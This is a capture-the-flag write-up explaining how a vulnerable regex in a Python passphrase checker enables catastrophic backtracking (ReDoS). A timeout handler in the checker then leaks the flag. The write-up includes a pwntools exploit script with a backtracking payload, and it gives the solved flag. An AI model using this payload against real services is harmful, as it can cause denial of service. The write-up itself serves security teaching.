Analysis
Understanding the Code
In this misc challenge, we are given a Python file with no additional instructions. Opening it in a text editor, we find the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import re
import sys
import signal
import os
from hospital_secrets import SECRET
FLAG = os.getenv("FLAG", "OSC{~}")
def timeout_handler(signum, frame):
print("\n[!] CRITICAL ALERT: Hospital system overloaded β processing unit failure!")
print("[!] Emergency override triggered. Dumping credentials for manual recovery...")
print(f"\n {FLAG}\n")
sys.exit(0)
BANNER = r"""
To access patient records, enter your staff passphrase.
Passphrase must contain only alphanumeric characters and spaces.
"""
print(BANNER)
print("Enter staff passphrase:")
passphrase = input(" MediVault> ")
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)
try:
match = re.match(r'^([a-zA-Z0-9]+\s?)+$', passphrase)
if match:
if passphrase == SECRET:
print(FLAG)
else:
print("\n[β] Access Denied. Passphrase not recognised. Contact IT support.")
else:
print("\n[β] Access Denied. Invalid passphrase format.")
except Exception as e:
print(f"\n[!] Unexpected system error: {e}")
signal.alarm(0)
The application flow is as follows:
- User is prompted for a passphrase
- A regex validation is performed
- The input is compared with a secret value
- A 3-second alarm is set
- If the alarm triggers, the system leaks the flag
The key snippet code is:
1
2
3
4
5
6
7
8
9
10
match = re.match(r'^([a-zA-Z0-9]+\s?)+$', passphrase)
if match:
if passphrase == SECRET:
print(FLAG)
else:
print("\n[β] Access Denied. Passphrase not recognised. Contact IT support.")
else:
print("\n[β] Access Denied. Invalid passphrase format.")
And the timeout handler:
1
2
3
4
5
def timeout_handler(signum, frame):
print("\n[!] CRITICAL ALERT: Hospital system overloaded β processing unit failure!")
print("[!] Emergency override triggered. Dumping credentials for manual recovery...")
print(f"\n {FLAG}\n")
sys.exit(0)
The vulnerabilty
1. Regex Catastrophic Backtracking (ReDoS)
The regex used:
^([a-zA-Z0-9]+\s?)+$
This pattern is dangerous because:
- It contains a nested repeating group
- Inside it, another repetition (+) and optional space (\s?)
- This creates multiple ambiguous matching paths
When given a carefully crafted input, Pythonβs regex engine can take exponential time to determine that the string does NOT match.
This is a classic ReDoS (Regular Expression Denial of Service) vulnerability.
2. Alarm Race Condition
The alarm is set after input is received:
1
2
3
passphrase = input(" MediVault> ")
signal.alarm(3)
If the regex evaluation takes longer than 3 seconds, the program:
- Times out
- Executes
timeout_handler - Prints the flag
So instead of bypassing authentication, we slow down the regex engine intentionally.
Exploitation
With all of this in mind, we need to create a string that:
- Matches the regex structure partially
- Forces massive backtracking on failure
- Triggers timeout (>3 seconds)
A common reDos pattern is this AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....!; Where A is a valid partial match and the ! causes the final mismatch.
The exploit script:
1
2
3
4
5
6
7
8
from pwn import *
HOST = x;
PORT = y;
payload = "A" * 50000 + "!"
p = remote(HOST, PORT)
p.sendline(payload)
p.interactive()
Flag
OSC{44fecff02b1a037e96ce29d5d6dd92ef8c38774f794859a9b178aef68170db7f}